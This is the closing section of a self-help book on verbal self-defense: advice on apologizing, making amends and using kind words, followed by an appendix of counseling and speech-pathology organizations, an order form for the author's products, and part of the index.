The best part of Alcoholics Anonymous, Overeaters Anonymous, Narcotics Anonymous, Gamblers
Anonymous, and other 12-step programs is that you get to make amends to people whose lives you were
responsible for devastating! You get to say that you are truly sorry for the horrific and unconscionable deeds
you inflicted upon them while you were under the influence of your particular demon. That is one of the
beauties of the program.
Asking for forgiveness is one of the most wonderful and precious things you can do. It takes a big person to be
able to do that. It takes a big person with a lot of courage and inner strength to approach another person and ask
for forgiveness. But you have to do it if you are to be verbally effective. Honesty, sincerity, and coming clean
are the basis of verbal self-defense. If you have those things, you have almost everything.
Page 315
What do you say in order to say you are sorry?
Don't just think you can give a cursory “I'm sorry” and that's that! No way! You have to look directly at the
person and tell them exactly why you are sorry. You have to tell them that you are sorry for what you did and
how you think it made them feel. You have to listen to them wholeheartedly as they pour their heart out and tell
you what your insensitive and horrible actions did to them, what scars your actions left, and what subsequent
repercussions they had. You need to empathize with them.
Don't explain yourself and get defensive yet. Just sit there and listen!
Cry with them; empathize with them. Try with all your heart to feel what they must have gone through. Reach
out to them physically. Try to touch them. Touch their hand. Ask them if they will allow you to hold them and
caress them. If they won't, understand. Wounds take time to heal. They might forgive you now, sometime in
the future, or never. Whatever the case, you verbally defended yourself so that you no longer have to wrestle
with these verbal demons. You can finally put it to rest. You did the right thing from a verbal perspective!
No More Verbal Hypocrisy—a Clean Battlefield
If you don't want to do something or you don't want to be somewhere, then don't do it or don't go there. If you
do, you will inevitably say the wrong thing to the wrong person, and this will always get you in trouble. People
aren't dumb! They know when you are lying to them, want something from them, and are being manipulative.
Some people will even play along with your lie because it is challenging or fun to watch you trying to talk your
way into something, such as into bed or into a business opportunity. You might think you are sweet-talking
someone and getting ahead, but your empty words mean nothing, even if you succeed in getting the specific
thing you want. You are ahead for only five minutes and then you are behind forever. You've gotta tell truths.
Page 316
You never again have to be the verbal victim who is forced to say obligatory trite things! You no longer have
to be a verbal hypocrite! Now you can sleep a lot better at night. Your conscience is clear as you have cleaned
up your verbal battlefield once and for all!
Winning the War Through Verbal Gifts!
In order to win the verbal war, you have to use the most powerful verbal weapon, and that is the weapon of
love and kind words given to yourself, your allies, and your adversaries.
Here is a list of verbal gifts:
• Words of endearment—“Honey,” “love,” “babe,” “darlin',” “my love,” “baby,” and “sweetie”—go a long,
long way and make people feel great.
• Lovely tones. Be upbeat and happy as though you are thrilled to see them. Have a tonal bounce, a song that
says “I am so thrilled you are in my life, and I absolutely adore you!”
• Never take your verbal anger or attitude about someone else out on them. Never curse or damn the person, no
matter how angry you get at them. Work it out! But work it out in a kind, loving, civil, and compassionate
manner. No screaming and yelling!
• Apologize immediately and be the first to apologize when you've messed something up—especially if it's a
little mess-up. Say it and mean it! Do it several times if necessary and use physical affection to reinforce it.
• Say loving things to others unexpectedly.
• Never say petty things to people and talk about the small stuff. Always stick to the big picture.
• Tell people specific things about why you like, love, or respect them. Describe specific character traits,
physical traits, behaviors, and incidents in great detail, and I mean in minute and minuscule detail. Everyone
loves to hear that.
• Always encourage people in their endeavors. Explain exactly why you believe in them. Give your views
about why you know they will make it and how you will never give up on them.
Page 317
Page 319
APPENDIX A
RESOURCES
Because I hold a Ph.D. in counseling psychology and a second Ph.D. in the field of communication disorders, I
have seen firsthand the positive impact that professionals in both of these fields have had upon people's lives.
The art of verbal self-defense requires that you feel good enough about yourself to deal with your emotional
pain from your past, so that you have the confidence to handle any problem that presents itself. Using all the
strategies I have taught you in this book will allow you to zip through any verbally toxic encounter. Thus, a
qualified and competent counselor, psychologist, or psychiatrist is a plus to enhance your live. They don't have
to be seen forever or cost you an arm and a leg. Often a good therapist will see you for short-term therapy just
to help you with specific issues.
In addition to having the security of knowing the formula of what to say, it is equally important to know just
how to say it. Sometimes you may not project the message as effectively as you could because of the way you
sound or speak. Until you read this book, you may not have even realized that help was available to enable you
to improve the quality of the way you sound. The added benefit to improving your speech is that you will also
be improving your image and the way people perceive you. Therefore, I recommend a qualified speech
pathologist who specializes in voice therapy with adults.
I recommend that you continue to read this book over and over again. Keep it! Save it as a reference book in
your library. You will find yourself using it frequently, perhaps daily at first, then weekly or monthly until the
techniques, strategies, and retorts become second nature.
You may need additional help as well. In addition to receiving additional material, which you can order directly
from Appendix A, or engaging in a telephone session, you may need more extensive personalized treatment
and counseling.
The following lists include sources of additional information and help.
References for Speech Pathologists.
1. I do not recommend that you go to a singing teacher, but only to a speech pathologist who is licensed by
your state, and who holds a Certificate of Clinical Competence from the American Speech Language and
Hearing Association. This way you can be assured that you will be receiving treatment from a well-trained
professional who knows exactly what they are doing and who will not harm your voice.
Page 320
2. To find such a person, ask your friends who may know of one, or friends of friends who were helped by the
person.
3. Check with several physicians (ear, nose, and throat physicians, general practitioners, and any type of dentist
or orthodontist), so that you get a variety of names from which to choose.
4. Call each person and ask the specific questions listed in Chapter 17.
5. Contact the American Speech Language and Hearing Association at
10801 Rockville Pike
Rockville, MD 20852
(301) 897-5700
Fax (301) 571-0457
They may be able to provide the name and phone number of the speech and hearing association in your
state, which can possibly provide a list of names of speech therapists in your area who specialize in the
treatment of voice disorders.
References for Psychological Services
1. You may want to begin your hunt for a good psychotherapist by asking friends to refer one they or their
friends have used.
2. Another option is to consult your clergy. Often they are excellent counselors. For many, sharing similar
religious views can provide a great source of comfort, since they can address your particular issues and needs,
perhaps in some cases even more effectively than a psychotherapist.
3. Ask several physicians and educators for any therapist they can recommend.
4. Just as one needs a speech pathologist who specializes in voice problems, you need a psychotherapist who is
best equipped to help you with your specific needs. If you have a marital problem, a family problem, a drug or
alcohol problem, an eating disorder, or a biochemical or personality disorder, you may want to seek out a
therapist specializing in that particular area.
To find this out, you need to ask questions. Just for the record, if you suspect that you or a loved one has a
biochemical disorder (symptoms include mood swings or depression), the mental health professional you
want to see is not a psychologist or even a psychiatrist, but rather a “psychopharmacologist.”
5. You may also want to contact you local hospital to see if they have any out-patient psychotherapy programs
or the nearest university medical center in your vicinity. In addition, public health facilities and mental health
agencies usually exist on the city, county, state, or regional level. Often, these programs are much less costly.
6. Depending upon what issues you need to face, you can contact one or more of the following organizations.
Perhaps they can refer you to someone in your area.
Page 321
American Psychological Association
750 1st St., NE
Washington, DC 20002
(202) 336-5500
Fax (202) 336-5919
Divisions to Contact within the American Psychological Association:
Psychopharmacology and Substance Abuse
Child, Youth, and Family Services
Family Psychology
Psychology of Women
Society for the Psychological Study of Men and Masculinity
Society for the Psychological Study of Lesbian, Gay, & Bisexual Issues
Addictions
Adult Development and Aging
American Psychiatric Association
1400 K St. NW
Washington, DC 20005
(202) 682-6000
Fax (202) 682-6114
American Counseling Society
5999 Stevenson Ave.
Alexandria, VA 22304
(703) 823-9800
Association of Jewish Family and Children's Agencies
Box 248
3086 Hwy 27
Kendall Park, NJ 08824
(908) 821-0909
Fax (908) 821-0493
American Family Therapy Association
2020 Pennsylvania Ave. NW
Washington, DC 20006
(202) 994-2776
Fax (202) 994-4812
Page 322
Association of Mental Health Clergy
12320 River Oaks
Knoxville, TN 37922
(615) 544-9704
(615) 544-8888
American Society of Pastoral Counselors
9504A Lee Hwy
Fairfax, VA 22031
(703) 385-6967
Fax (703) 352-7725
Black Psychiatrists of America
2730 Adeline St.
Oakland, CA 94607
(510) 465-1800
International Association of Counseling Services
101 S. Whiting St., Suite 211
Alexandria, VA 22304
(703) 823-9840
Fax (703) 823-9843
National Association of Alcoholism and Drug Abuse Counselors
3717 Columbia Pike, Ste. 300
Arlington, VA 22204
(703) 920-4644
(703) 920-4672
Parental Drug Association
7500 Old Georgetown Rd #620
Bethesda, MD 20814
(986) 986-0293
Fax (986) 986-0296
Asian Psychological Association
Department of Psychology
Slippery Rock, PA 16057
(412) 738-2274
Fax (412) 738-2098
Page 323
APPENDIX B
TO ORDER DR. GLASS' PRODUCTS
Fill out this form and include VISA, MC, CHECK, or MONEY ORDER to:
Dr. Lillian Glass
Your Total Image Inc.
P.O. Box 792
New York, NY 10021
OR YOU CAN PLACE A TELEPHONE ORDER
212-946-5729
OR SEND AN E-MAIL
info@drlillianglass.com
****ALL PRICES INCLUDE TAX, SHIPPING, AND HANDLING****
Emotional Feelings and Mending Hearts This set of 2 CD's of original songs which reflect every emotion you
have ever felt. Some give you courage and help heal tender emotions while others stimulate your love and
motivate you to climb the highest mountains.
Item
Price Quantity Total Amount
CD's (set of 2) $45.99 ________ ________
Attracting Terrific People—How to Find and Keep the People Who Bring Your Life Joy! Never be lonely
again! Find out how to attract and keep the best jobs, the best people, and have the relationships to allow you to
have the most fulfilling life.
Item
Price Quantity Total Amount
Book (hardcover edition) $32.99 ________ ________
Toxic People—10 Ways To Handle People Who Make Your Life Miserable Find out how to identify the 30
types of toxic terrors and use effective techniques that really work!
Item
Price Quantity Total Amount
Book (hardcover edition) $32.99 ________ ________
Audiotapes (set of 2) $32.99 ________ ________
Two Videotapes $59.99 ________ ________

Page 324
He Says/She Says—Closing the Communication Gap Between The Sexes Although men and women are
different, there are things we can do and say to avoid fights, hurt feelings, frustrations, and pent up anger
against the opposite sex throughout our daily lives, at work, and even in the most intimate moments. Now you
will know what to do and exactly what to say to the opposite sex!
Item
Price Quantity Total Amount
Book (hardcover edition) $32.99 ________ ________
Videotape $59.99 ________ ________
Audiotapes (set of 2) $32.99 ________ ________
Talk To Win: 6 Steps To A Successful Vocal Image You don't ever have to hate the sound of your voice or be
afraid to speak publicly again. Now you can use the same speaking and voice techniques used by Hollywood.
Item
Price Quantity Total Amount
Videotape $17.99 ________ ________
Audiotape $59.99 ________ ________
World of Words Never feel insecure about not understanding what another person is saying to you. You will
learn the basic roots which allow you to figure out what most words mean, even if you've never heard them
before. It's simple and easy, and takes minutes to learn.
Item
Price Quantity Total Amount
Audiotape $17.99 ________ ________
How to Deprogram Your Valley Girl It's classic, no matter what generation you're from! Humorous, cute, and
funny, it has a serious message by explaining in easy steps how to teach your teen or child how to talk right.
Item
Price Quantity Total Amount
Book (softcover edition) $10.99 ________ ________
Speak for Success Now you will have the confidence to speak up, say what you've always wanted to say, and
feel great about yourself!
Item
Price Quantity Total Amount
Videotape $59.99 ________ ________
Total Balance Due____________________
Last Name________First Name________
Address_________________________
City, State, Zip Code____________________
Phone Number(__)____________________
Fax Number(__)____________________
E-mail_________________________
Visa/MC Number____________________
Expiration Date____________________
Name as it Appears on Card_______________
Signature_________________________
Page 325
INDEX
A.
absorbing what others say, 5
abuse, verbal
comparing to verbal murder, 47
in relationships, 162–164
level one, personality traits, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two, personality traits, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
parental
children as abusers, 194–197
children, disciplining, 200
consequences, 192
defending against, 191–193
resolving, 192–193
recovering from, 169–170
relationships
forgiveness, 169
grieving process, 168
rehabilitation, contacting professional help, 166
self-directed, 110
siblings, 193–194
“three strikes rule”, 162–164
victims, comforting, 166–168
accusers (verbal abusers), 44
acquiring lingo (conversations), 125
admitting to wrongdoing, 290–291
affirmation tapes, Guru Ji Pillai, Ph.D., 111
AIDS, 303
alcoholism, 247
alternatives to physical violence
Fantasy strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
Verbally Mirroring the Foe strategy, 158–159
amends, making, 314
American Counseling Society, contact information, 321
American Family Therapy Association, contact information, 321
American Psychiatric Association, contact information, 321
American Psychological Association, contact information, 321
American Society of Pastoral Counselors, contact information, 322
anger
clenched teeth, 10
facial expressions, 11
answering machines, messages, 261–262
anticipating verbal attacks, 134–135
apologizing, 198, 315
arm movement, body language, 12–13
self-assessment, 71
correcting, 83
articulation
answering machine messages, 262
see also hyper-articulation
Asian Psychological Association, contact information, 322
asking
for forgiveness, 314
questions, 122
assessing
body language, 67–68
arm and hand movements, 71
breathing, 74
eyes, 73
facial expressions, 72–73
head movements, 71–72
mouth, 73–74
posture, 68–70
walking, 70–71
handshakes, 84–85
potential attackers, 3–5
self-image, 62–65
voice quality, 75–77
Association of Jewish Family and Children's Agencies, contact information, 321
Association of Mental Health Clergy, contact information, 322
Page 326
attacks
ignoring, 152
reacting to, 152
victims, setting limits with perpetrators, 153–155
attitudes, negativity as self-fulfilling prophecy, 111
authority figures, defending against verbal attacks, 212
autonomic nervous system, “fight or flight” response, 27
avoiding
confrontations over telephone, 257
eye contact, 8
hurtful insults, 155–157
miscommunication in business dealings, 206–208
rape, 302
verbal attacks, strategies, 112–116
diplomacy, 116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing verbal opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
B
backhanded complimentors (verbal abusers), 39
backstabbers, 21–22, 241
bad breath, 277
bad habits, self-denegration, 110
bad news
breaking, 281–282
infidelity, reporting to cuckold, 282–283
basic needs
conversation topics, 124
threatening, 158
behavior
generalizing, 50–51
school-aged children, restricting, 197
believability, braggarts, 22
betraying
confidences, 37–46
loved ones, dealing with, 290
bilingual communication, 176
bipolar disorder, 42, 247
Black Psychiatrists of America, contact information, 322
“blank stare” technique, disarming verbal opponents, 139–141
blind, communicating with, 289
blinking, 9
body language, 11–13
arm and hand movements, 12–13
correcting, 83–84
self-assessment, 71
breathing, self-assessment, 74
eyes, self-assessment, 73
facial expressions, self-assessment, 72–73
female, interpreting, 185
hand-shaking, 13
head movements, self-assessment, 71–72
male, interpreting, 183
mouth, self-assessment, 73–74
observing, 4
physical distance, maintaining, 11–12
posture, 12
enhancing, 80–81
rigidity, correcting, 82–83
self-assessment, 68–70
self-assessment, 67–68
sitting, confidence, 82
walking
confidence, 81–82
self-assessment, 70–71
body odor, 277
borrowing money, 277
braggarts, believability, 22
brain chemistry, comparing between sexes, 177–178
breaking
bad habits, self-denegration, 110
bad news, 281–282
verbally abusive relationships, 165–166
breathing, 92–95
body language, self-assessment, 74
mind-clearing technique, 94
relaxation technique, 93
voice, enhancing, 95
yawning, 97–98
building confidence, 105–109
“Who Are You?” quiz, 106–108
bullies, dealing with, 299
businesses
employers, defending against verbal attacks, 212–213
professionals, defending against verbal attacks, 212
service industries, rude employees, 206–208
busybodies, 250
butting into conversations, 274
C
Calm Questioning Technique, 231
against food service employees, 211
disarming verbal opponents, 143–144
liars/fibbers, 234
Cantalupo, Paul, 16
Carnegie, Dale, 146
categorizing verbal abusers, 33–34
cautioning verbal crime perpetrators, 153–155
characterizing
backstabbers, 22
braggarts, 22
verbal murderers, 47–49
cheating spouses, reporting to cuckold, 282–283
Page 327
children
controlling, verbal techniques, 197–198
infants
communication skills, correcting, 199–200
speech development, 199
school-aged
restricting behavior, 197
verbal defense, 197–198
choosing verbal defense strategy, 136–138
clenched jaws, anger, 10
cold shoulder, reacting to, 270–271
comebacks against rude strangers, 204
comforting verbally abused people, 166–168
common expressions, interpreting hidden meaning, 23
communication
between sexes, 176
female language, 185–186
male language, 183–185
bilingual, 176
eye contact, 86–87
foreign language as barrier, 211–212
infants, correcting, 199–200
interpreting between sexes, 178–183
mindfulness, 88–89
mumbling, 217–218
persuasion, 288
pre-infant, developing, 198–199
smiling, 87
speech impediments, stutterers, 288–289
verbal abuse, 23
categorizing, 33–34
comparing to verbal murder, 47
consequences, 27–31
emotional manifestations, 29–31
identifying, 25–26
level one, 34–40
level two, 40–46
parents as victims, 194–197
with hearing-challenged, 289
with mentally ill, 289–290
with sight-impaired, 289
with terminally ill, 283–284
comparing
discussion topics between sexes, 178
sexes, brain chemistry, 177–178
treatment of infants between sexes, 177
verbal murderers and verbal abusers, 47
competitiveness
motivation for verbal murder, 55–56
sibling rivalry, 193–194
complainers, 276
con-artists, telemarketers, 257
concluding conversations
one-on-one, 127–128
telephone, 260–261
condescending dismissers (verbal abusers), 41
confidence
affirmation tapes, Guru Ji Pillai, Ph.D., 111
body language
hand-shaking, 13
sitting, 82
walking, 81–82
building, 105–109
self-fulfilling prophecies, 111
“Who Are You?” quiz, 106–108
confronting
baby-voiced talkers, 219–221
conversation interrupters, 226
fast talkers, 223
flatterers, 285
frequent callers (telephone), 264–265
know-it-alls, 224–225
liars, 284–285
loud talkers, 218–219
loud talkers over telephone, 259
mumblers, 217–218, 259
name-droppers, 223–224
nasal-voice talkers, 227–228
pathological liars, 285
people who don't like you, 270–273
physical abusers, 156–157
“Fantasy” strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
“Verbally Mirroring the Foe” strategy, 158–159
slang speakers, 225
squeaky talkers, 219
wordy talkers, 227
conscious motivation, verbal murder, 53–57
competition, 55–56
control, 53–54
despair, 53
impatience, 54
lack of confidence, 54–55
resentment, 56–58
consequences
of improper breathing, 93
of parental verbal abuse, 192
of verbal murder, 57–58
consonants, pronouncing, 101–102
constant staring, 9
contact information, American Psychological Association, 321
contact ulcers, 96
contacting psychotherapists, 166
contradictions, 294, 295
control freaks, 240
motivation for verbal murder, 53–54
controlling
body language
arm movement, 83
hand movements, 84
breathing, 92–95
mind-clearing technique, 94
relaxation technique, 93
children, verbal techniques, 197–198
stuttering, 104
verbal combat, 137–138
Page 328
conversations
asking questions, 122
backstabbers, identifying, 21
butting into, 274
concluding, 127–128
disruptions, 114–115
elaboration technique, 122–123
ethnic, 126–127
expressions, interpreting, 23
eye contact, 86–87
foreign language
French terms, 127
German terms, 126
Italian terms, 127
Latin terms, 126
Yiddish terms, 126–127
imaginary (exercise)
attacks, anticipating, 134
practicing, 133–134
preparing for verbal combat, 132–133
initiating, 121
interruptions
confronting perpetrators, 226
reacting to, 274
lingo, 125
listening, 19–23
maintaining, 121–127
asking questions, 122
elaboration technique, 122–123
mindfulness, 88–89
name-dropping, 223–224
physical contact, 85–86
preparing for, 118
slowing down, 103
smiling, 119, 119–120
speeding up, 103
telephone
interruptions, handling, 263–264
loud talkers, 259
mumblers, 259
recording, 66–67
returning calls, 264
separation anxiety, 260–261
while eating, 262–263
whisperers, 259
wordy talkers, confronting, 259–261
topics, 123–124
basic needs, 124
comparing interest between sexes, 178
interests and opinions, 124
knowledge of, 125
relationships, 124
verbal combat
controlling, 137–138
preparing for, 131–132
voice quality, self-assessment, 75–77
correcting
body language, hand movements, 83–84
foul language in children, 201–202
posture, 80–81
head position, 81
rigidity, 82–83
spinal, 81
weight distribution, 80–81
counter attacks, timeliness, 136
criticism, listening to, 19–23
cultural clashes, 300
cursing, 234
among teenagers, 195–196
correcting, 201–202
customer service representatives, defending against, 205–212
cutting others down, 249
D
date rape, avoiding, 303
death, communicating with terminally ill, 283–284
declarations of verbal war, 297
defending friends against gossip, 287–288
delicate situations, 303–304
delivering bad news, 281–282
dental conditions, as cause of lisping, 16
dentists, verbal defense, 213–214
depression, 53, 247
developing communication skills, pre-infant, 198–199
dialog
expressions, interpreting, 23
identifying backstabbers, 21
listening, 19–23
see also conversations
dieting, refusing food offers, 287
diffusing hostility in verbal opponents, 112
diplomacy, 116
Direct Confrontation Technique
cussers, 235
food service employees, 210
liars/fibbers, 234
sweet talkers, 233
talkaholics, 232
disarming verbal opponents, techniques, 112
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
hand-holding fighting strategy, 147–148
heart-in-hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
name repetition, 146–147
staring, 139–141
“What's Good About You” strategy, 148–149
disciplining foul language in children, 201–202
discussion topics, comparing between sexes, 178
disgust, facial expression, 11
disruptions in conversations, 114–115
do-nothings, 246
doctors, verbal defense, 213–214
drooling, preventing, 102–103
drug abuse, 247
Page 329
E
eating
during telephone conversations, 262–263
Elaboration Technique, 122–123, 231
e-mail address, Dr. Lillian Glass, 323
embarrassment
coping with, 268–270, 273
examples of, 268–269
jokes, 269–270
emotionally challenged people, 247
emotions
anger, clenched teeth, 10
expressing in face, 9–10
nervousness, stuttering, 15–16
stress
“kick the cat” syndrome, 50
verbal murder, 47
verbal abuse, manifestations, 29–31
employers, defending against verbal attacks, 212–213
enemies
smiling at, 271
verbal self-defense, 205
enhancing
posture, 80–81
head position, 81
spinal, 81
standing, 80–81
relationships, 186–189
self-esteem, 308–310
speech
consonant pronunciation, 101–102
vowel pronunciation, 102
voice, 95
monotonous voices, 99–100
nasal voices, 100–101
whining voices, 100
yawning, 97–98
enunciation, recording telephone machine messages, 262
envy, 241
motivation for verbal murder, 51–52
ethnic terms, 126–127
French, 127
German, 126
Italian, 127
Latin, 126
Yiddish, 126–127
evaluating
body language, 67–68
arm and hand movements, 71
breathing, 74
eyes, 73
facial expressions, 72–73
head movements, 71–72
mouth, 73–74
posture, 68–70
walking, 70–71
handshakes, 84–85
responses, “Who Are You?” quiz, 109
self-image, 62–65
voice quality, 75–77
examples, public humiliation, 268–269
excessive blinking, 9
excuses, maintaining verbally abusive relationships, 163–164
exercises
breathing
mind-clearing technique, 94
relaxation technique, 93
imaginary conversations
attacks, anticipating, 134
practicing, 133–134
preparing for verbal combat, 132–133
verbal attacks, interpreting reactions, 134–135
expressions
body language, 11–13
arms, 12–13
hand-shaking, 13
physical distance, maintaining, 11–12
posture, 12
facial, 9
eye contact, 86–87
female, interpreting, 185
male, interpreting, 184
self-assessment, 72–73
smiling, 87
interpreting, 23
eye contact, 8–9, 86–87
avoiding, 8
blinking, 9
self-assessment, 73
staring, 8
F
facial expressions, 9
blank stares, disarming verbal opponents, 139–141
body language, self-assessment, 72–73
eye contact, 86–87
female, interpreting, 185
look of disgust, disarming verbal opponents, 141
male, interpreting, 184
mouth, expressing emotions, 10–11
smiling, 87
fairness in verbal combat, 155–157
families
betrayal, dealing with, 290
children, handling parental requests, 196–197
parents, verbally abusive, 191–193
siblings, verbally abusive, 193–194
fanatics, 245
Fantasy strategy, avoiding physical violence, 157–158
fast talkers, 17
confronting, 223
faultfinders (verbal abusers), 43
fear, facial expression, 11
female body language, 185–186
fetal response to music, 199
fibbers, 234
“fight or flight” response to verbal abuse, 27
Page 330
fighting dirty (verbal combat), 155–157
flatters, confronting, 285
food
refusing, 287
servers, verbal self-defense, 208–211
foreigners, 276
forgiveness, asking for, 314
foul language
among teenagers, 195–196
children, correcting, 201–202
French terms, 127
frequent callers (telephone), confronting, 264–265
friends
betrayal, dealing with, 290
defending against rumors, 287–288
verbal self-defense, 204–205
Funny Bone strategy, disarming verbal opponents, 145–146
G.
gazing down at someone, 8
generalizing, 50–51
German terms, 126
gestures
body language, 11–13
arms, 12–13, 71
hand-shaking, 13
physical distance, maintaining, 11–12
posture, 12
facial, self-assessment, 72–73
“Give 'Em Hell and Yell” strategy, avoiding physical violence, 160
gossip
about family, 311
as source of prejudice, 274
friends, defending, 287–288
intentionally “leaking”, 312
preventing, 310
gossipmongers, 41
grieving process, ending verbally abusive
relationships, 168
guilt, motivation for verbal murder, 52
Guru Ji Pillai, Ph.D, 111
H
Haas, Dr. Adelaide, 178
habits, self-denegration, 110
hand movements
body language self-assessment, 71
controlling, 83–84
hand-holding fighting strategy, disarming verbal opponents, 147–148
handshakes, 13
evaluating, 84–85
happiness, facial expression, 10
harsh tone in voice, 299
head position
body language self-assessment, 71–72
posture, correcting, 81–89
health
dieting, refusing food offers, 287
mentally-ill, communicating with, 289–290
terminally ill, communicating with, 283–284
voice box, 95–97
hearing-challenged, communicating with, 289
heart-in-hand strategy, disarming verbal opponents, 148
hindsight, 4
Hitting-below-the-Belt Abusers, 242
honesty
liars, 44–45, 234
confronting, 284–285
eye contact, 9
vocal tone as indicator, 15–18
wrongdoing, admitting to, 290–291
hopelessness, conscious motivation for verbal murder, 53
hostility
crossing arms, 12
in verbal opponents, diffusing, 112
jokes, hidden meaning, 20–21
vocal tone as indicator, 15
humiliation, coping with, 268–270
humor, jokes
hidden meaning, 20–21
weight-related, responding to, 287
hush hush strategy, disarming verbal opponents, 147
hyper-articulation, 17–18
I
“I love you-I hate you” people, characterizing, 42
identifying
backstabbers, 21
verbal attackers, 3, 25–26
worksheet, 48–49
verbal murderers, 47–49
ignoring verbal attacks, 152
“I'm Only Kidding” personality types (verbal abusers), 34
imaginary conversation
physical violence, avoiding
“Fantasy” strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
“Verbally Mirroring the Foe” strategy, 158–159
verbal attacks
anticipating, 134
immediacy of reactions, 136–137
interpreting reactions, 134–135
practicing, 133–134
preparing for verbal combat, 132–133
impatience, motivation for verbal murder, 54, 54–55
improving
relationships, 186–189
self-esteem, 109–110, 308–310
inappropriate behavior, 272
Page 331
indications of stress, 28
infants
comparing treatment between sexes, 177
speech, developing, 199
infidelity, reporting to cuckold, 282–283
inflammatory words, avoiding, 113
initiating, conversation, 121
insecurity, 249
overcoming, 120
instigators (verbal abusers), 41
insults
avoiding, 155–157
jokes, hidden meaning, 20–21
self-directed, 110
integrity, admitting to wrongdoing, 290–291
intelligence, underestimating, 291–292
interests and opinions, conversation topics, 124
International Association of Counseling Services, contact information, 322
interpreting
common expressions, 23
communication between sexes, 178–183
female language, 185–186
male language, 183–185
jokes, hidden meaning, 20–21
reactions to verbal attacks, 134–135
secretiveness, 21
self-aggrandizement, 22
interrogators (verbal abusers), 40–41, 243
interruptions, reacting to, 226
one-one-one conversations, 274
telephone conversations, 263–264
introspection
building self-confidence, 105–109
“Who Are You?” quiz, 106–108
Italian terms, 127
J
jaw, clenching, 10
jokes
bearing brunt of, 269
hidden meanings, 20–21
weight-related, responding to, 287
K.
“kick the cat” syndrome, 50
kind words, 301, 316
kissing, 87–88
know-it-alls, confronting, 224–225, 236
kvetching, 276
L
Lamb to Lion types, 240
language
infants, developing, 199
slang, confronting speakers of, 225
Latin terms, 126
“leaking” rumors, 312
leaving verbally abusive relationships, 162–166
level one verbal abusers, personality traits, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality type, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two verbal abusers, personality traits, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
liars, 44–45, 234
confronting, 284–285
eye contact, 9
limbic system, 27
lingo
acquiring, 125
French terms, 127
German terms, 126
Italian terms, 127
Latin terms, 126
Yiddish terms, 126–127
lisping (speech), 16
improving, 101–102
listening, 19–23
double-meaning, 294–295
fast-talkers, 17
interruptions, avoiding, 114–115
logging reactions to verbal attacks, 134
Look of Disgust strategy, disarming verbal opponents, 141
loud talkers, 299
confronting, 218–219, 259
Love and Kindness Technique, 231
pity seekers, 233
talkaholics, 232
Love 'Em Up strategy, disarming verbal opponents, 146–149
Love-Healing Music for the Heart, 168
loving words, 316
lowering pitch (voice), 97
M
maintaining
conversation, 121–127
asking questions, 122
elaboration technique, 122–123
topics, 123–124
verbally abusive relationships, excuses for, 163–164

Page 332
making fun of others, 268–269
male language, 183–185
manipulators, sweet talkers, 232
marriages, reporting infidelity to cuckold, 282–283
Maslow, Abraham, 158
mean-spiritedness, reacting to, 272
“me me me” talkers, 235
mentally ill, 247, 300
communicating with, 289–290
messages
answering machines, 261–262
bad news, delivering, 281–282
mirrors, performing self-assessment, 65–66
miscommunication
between sexes, 178–183
in business dealings, avoiding, 206–208
mistrust, unconscious motivation for verbal murder, 52–53
money borrowers, 277
monotonous voice, enhancing, 99–100
Montagu, Ashley, 85
motivation
for rudeness in salespeople, 207–208
for rudeness in food servers, 209–210
for verbal murder, 50
conscious, 53–57
unconscious, 50–53
mouth
body language, self-assessment, 73–74
expressing emotions, 10
mouthing off, 296
moving on from negative experiences, 314
muggers, 302
mumbling, 217–218
mushi, 94
music
communicating with terminally ill, 284
fetal response to, 199
Love Healing-Music for the Heart, 168
N
Naked Truth strategy, disarming verbal opponents, 144–145
name-droppers, confronting, 223–224
name repetition, disarming verbal opponents, 146–147
narcissistic talkers, 235
nasal speech
confronting speakers, 227–228
correcting, 100–101
National Association of Alcoholism and Drug Abuse, contact information, 322
negativity
about yourself, removing, 310
self-assessment, 63–65
discussing with others, 314
self-fulfilling prophecies, 111
nervousness, stuttering as manifestation, 15–16
nosy people, 250
O
obesity, responding to weight-related jokes, 287
objectivity
body language, self-assessment, 67–68
arm and hand movements, 71
breathing, 74
eyes, 73
facial expressions, 72–73
head movements, 71–72
mouth, 73–74
posture, 68–70
walking, 70–71
personality, self-assessment, 65–67
obscene language, 234
observing
verbal opponents, 113
body language, 4
one-upsmanship, 36
open mindedness, 5
prejudices, removing, 111
opening eyes wide, 9
opinionated people, 275
opponents
disarming, techniques
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
hand-holding fighting strategy, 147–148
heart-in-hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
name repetition, 146–147
staring, 139–141
“What's Good About You” strategy, 148–149
identifying, 3
order form, Your Total Image Inc., 323–324
others speaking on your behalf, 273
overcoming shyness, 120
P
Parental Drug Association, contact information, 322
parents
children, respecting, 200–201
verbal abuse
consequences of, 192
defending against, 191–193
passive-aggressive types, 240
pathological liars, confronting, 285
patience with stutterers, 288–289
peace promoting strategies, 112–116
diplomacy, 116
Page 333
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
performing self-assessment, 65–67
photographs, analyzing, 67
telephone conversations, recording, 66–67
personality traits
level one verbal abusers, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
